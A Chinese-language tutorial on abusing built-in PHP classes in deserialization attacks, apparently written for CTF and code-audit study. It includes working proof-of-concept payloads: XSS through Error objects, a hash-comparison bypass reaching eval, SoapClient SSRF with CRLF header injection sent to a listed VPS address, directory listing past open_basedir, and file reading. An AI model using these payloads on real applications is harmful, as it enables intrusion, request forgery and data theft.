浅析php反序列化原生类的利用

如果在代码审计或者ctf中，有反序列化的功能点，但是却不能构造出完整的pop链，那这时我们应该如何破局呢？我们可以尝试一下从php原生类下手，php有些原生类中内置一些魔术方法，如果我们巧妙构造可控参数，触发并利用其内置魔术方法，就有可能达到一些我们想要的目的。

一、常见魔术方法

__wakeup() //执行unserialize()时，先会调用这个函数
__sleep() //执行serialize()时，先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

二、原生类中的魔术方法

我们采用下面脚本遍历一下所有原生类中的魔术方法

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array('__destruct','__toString','__wakeup','__call','__callStatic','__get','__set','__isset','__unset','__invoke','__set_state'))) {print $class . '::' . $method . "\n";}}
}

三、一些常见原生类的利用

Error/Exception

Error 是所有PHP内部错误类的基类。 (PHP 7, 8)

**Error::__toString ** error 的字符串表达

返回 Error 的 string表达形式。

Exception是所有用户级异常的基类。 (PHP 5, 7, 8)

**Exception::__toString ** 将异常对象转换为字符串

返回转换为字符串（string）类型的异常。

类属性

• message 错误消息内容

• code 错误代码

• file 抛出错误的文件名

• line 抛出错误的行数

XSS

__toString方法会返回错误或异常的字符串形式，其中包含我们输入的参数，如果我们构造一串xss代码，结合echo渲染，将触发反射形xss漏洞

示例：

<?php
$a = unserialize($_GET['a']);
echo $a;

POC：

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);

hash绕过

先看一道题

[2020 极客大挑战]Greatphp

<?php
error_reporting(0);
class SYCLOVER {public $syc;public $lover;public function __wakeup(){if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){eval($this->syc);} else {die("Try Hard !!");}}}
}
if (isset($_GET['great'])){unserialize($_GET['great']);
} else {highlight_file(__FILE__);
}

需要绕过两个hash强比较，且最终需要构造eval代码执行

显然正常方法是行不通的，而通过原生类可进行绕过

同样，当md5()和sha1()函数处理对象时，会自动调用__tostring方法

先简单看一下其输出

<?php
$a=new Error("payload",1);$b=new Error("payload",2);
$c=new Exception("payload",3);$d=new Exception("payload",4);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
echo $d;

可以发现，这两个原生类返回的信息除了行号一模一样，利用这点，我们可以尝试进行hash函数的绕过，需要注意的是，必须将两个传入的对象放到同一行

因此我们可以进行简单的测试,发现使用此方法可以绕过hash强(弱)函数比较

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
if ($a!=$b){echo '$a不等于$b'."\n";
}
if (md5($a)===md5($b)){echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){echo "sha1值相等";
}

根据这些知识点，我们可以轻松构造payload

  <?php
class SYCLOVER {public $syc;public $lover;public function __wakeup(){if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){eval($this->syc);} else {die("Try Hard !!");}}}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

SoapClient

SoapClient是一个专门用来访问web服务的类，可以提供一个基于SOAP协议访问Web服务的 PHP 客户端，可以创建soap数据报文，与wsdl接口进行交互

soap扩展模块默认关闭，使用时需手动开启

SoapClient::__call —调用 SOAP 函数 (PHP 5, 7, 8)

通常，SOAP 函数可以作为SoapClient对象的方法调用

SSRF

构造函数：

public SoapClient :: SoapClient(mixed $wsdl [，array $options ])
第一个参数是用来指明是否是wsdl模式，如果为`null`，那就是非wsdl模式。
第二个参数为一个数组，如果在wsdl模式下，此参数可选；如果在非wsdl模式下，则必须设置location和uri选项，其中location是要将请求发送到的SOAP服务器的URL，而uri 是SOAP服务的目标命名空间。

什么是soap

SOAP 是基于 XML 的简易协议，是用在分散或分布的环境中交换信息的简单的协议，可使应用程序在 HTTP 之上进行信息交换
SOAP是webService三要素（SOAP、WSDL、UDDI）之一：WSDL 用来描述如何访问具体的接口， UDDI用来管理，分发，查询webService ，SOAP（简单对象访问协议）是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议，XML作为数据传送的格式。

我们构造一个利用payload，第一个参数为NULL，第二个参数的location设置为vps地址

<?php
$a = new SoapClient(null, array(
'location' => 'http://47.102.146.95:2333', 
'uri' =>'uri',
'user_agent'=>'111111'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

监听vps的2333端口，如下图所示成功触发SSRF，vps收到了请求信息

且可以看到SOAPAction和user_agent都可控

本地测试时发现，当使用此内置类(即soap协议)请求存在服务的端口时，会立即报错，而去访问不存在服务(未占用)的端口时，会等待一段时间报错，可以以此进行内网资产的探测。

如果配合CRLF漏洞，还可以可通过 SoapClient 来控制其他参数或者post发送数据。例如:HTTP协议去攻击Redis

CRLF知识扩展

HTTP报文的结构：状态行和首部中的每行以CRLF结束，首部与主体之间由一空行分隔。
CRLF注入漏洞，是因为Web应用没有对用户输入做严格验证，导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n)，就能注入一些首部字段或报文主体，并在响应中输出。

通过结合CRLF，我们利用SoapClient+CRLF便可以干更多的事情，例如插入自定义Cookie，

<?php
$a = new SoapClient(null, array('location' => 'http://47.102.146.95:2333','uri' =>'uri','user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

发送POST的数据包，这里需要将Content-Type设置为application/x-www-form-urlencoded，我们可以通过添加两个\r\n来将原来的Content-Type挤下去，自定义一个新的Content-Type

<?php
$a = new SoapClient(null, array('location' => 'http://47.102.146.95:2333','uri' =>'uri','user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

看一道ctfshow上的题，完美利用上述知识点

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}

poc：

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

DirectoryIterator/FilesystemIterator

DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。

DirectoryIterator::__toString 获取字符串形式的文件名 （PHP 5,7,8）

目录遍历

使用此内置类的__toString方法结合glob或file协议，即可实现目录遍历

例如:

<?php
$a = new DirectoryIterator("glob:///*");
foreach ($a as $b){echo $b.'<br>';
}

FilesystemIterator继承于DirectoryIterator，两者作用和用法基本相同，区别为FilesystemIterator会显示文件的完整路径，而DirectoryIterator只显示文件名

因为可以配合使用glob伪协议(查找匹配的文件路径模式)，所以可以绕过open_basedir的限制

在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化，很不幸的是这两个原生类都在禁止名单当中

SplFileObject

SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php
highlight_file(__file__);
$a = new SplFileObject("./flag.txt");
echo $a;
/*foreach($context as $f){echo($a);
}*/

如果没有遍历的话只能读取第一行，且受到open_basedir影响

SimpleXMLElement

解析XML 文档中的元素。 （PHP 5、PHP 7、PHP 8）

SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象

XXE

我们查看一下其参数：

根据官方文档，发现当第三个参数为True时，即可实现远程xml文件载入，第二个参数的常量值设置为2即可。

利用可参考赛题：[SUCTF 2018]Homework

ReflectionMethod

获取注释内容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

同时可利用的原生类还有ZipArchive– 删除文件等等，不在叙述

参考连接：

https://www.anquanke.com/post/id/264823

https://xz.aliyun.com/t/9293

https://blog.csdn.net/unexpectedthing/article/details/121780909